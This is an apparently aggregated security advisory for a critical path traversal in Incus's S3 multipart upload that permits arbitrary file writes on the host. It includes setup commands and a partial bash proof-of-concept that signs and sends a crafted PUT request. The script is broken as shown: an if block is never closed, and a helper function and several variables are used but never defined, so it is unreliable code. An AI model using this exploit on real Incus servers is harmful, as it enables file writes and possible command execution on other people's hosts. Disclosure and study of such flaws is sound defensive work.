Vulnerability from cvelistv5 – Published: 2026-08-21 14:34 – Updated: 2026-08-21 15:36

Title

Incus has an arbitrary file write via path traversal in S3 multipart upload

Summary

Incus is a system container and virtual machine manager. Prior to version 7.1.0, the S3 protocol upload endpoint is vulnerable to path traversal and allows creation of arbitrary files on the host. This behavior could lead to arbitrary command execution. Version 7.1.0 fixes the issue.

Severity

9.9 (Critical)

Vulnerability from github – Published: 2026-06-26 18:47 – Updated: 2026-06-26 18:47

Summary

Incus has an arbitrary file write via path traversal in S3 multipart upload

Details

Summary

The S3 protocol upload endpoint is vulnerable to path traversal and allows creation of arbitrary files on the host. This behavior could lead to arbitrary command execution.

In internal/server/storage/s3/local/multipart.go, user-controlled upload ID is appended to the uploads directory unsanitized; https://github.com/lxc/incus/blob/40dd4f151d52c06b178482aa2518abfb9df3e6fb/internal/server/storage/s3/local/multipart.go#L33

PoC

Setup

# Expose the S3 API and create a bucket
incus config set core.storage_buckets_address=:8555
incus storage volume create default bucket
#> note the credentials

Exploitation

The below script was mostly generated.

#!/usr/bin/env bash
set -euo pipefail

if [ $# -lt 4 ]; then
    printf 'usage: $0 endpoint bucket access-key secret-key\n' >&2
    exit 1

sig=$(hmac_hex "$k_signing" "$string_to_sign")
auth="AWS4-HMAC-SHA256 Credential=${access}/${scope},SignedHeaders=${signed},Signature=${sig}"

printf '# body:\n%s' "${body}"

curl -ksS -X PUT "${url}" \
    -H "Host: ${host}" \
    -H "X-Amz-Date: ${amz_date}" \
    -H "X-Amz-Content-Sha256: ${body_hash}" \
    -H "Authorization: ${auth}" \
    --data-binary "${body}"

Impact

Arbitrary file write on the host. Possibly leading to arbitrary command execution.

Severity

9.9 (Critical)
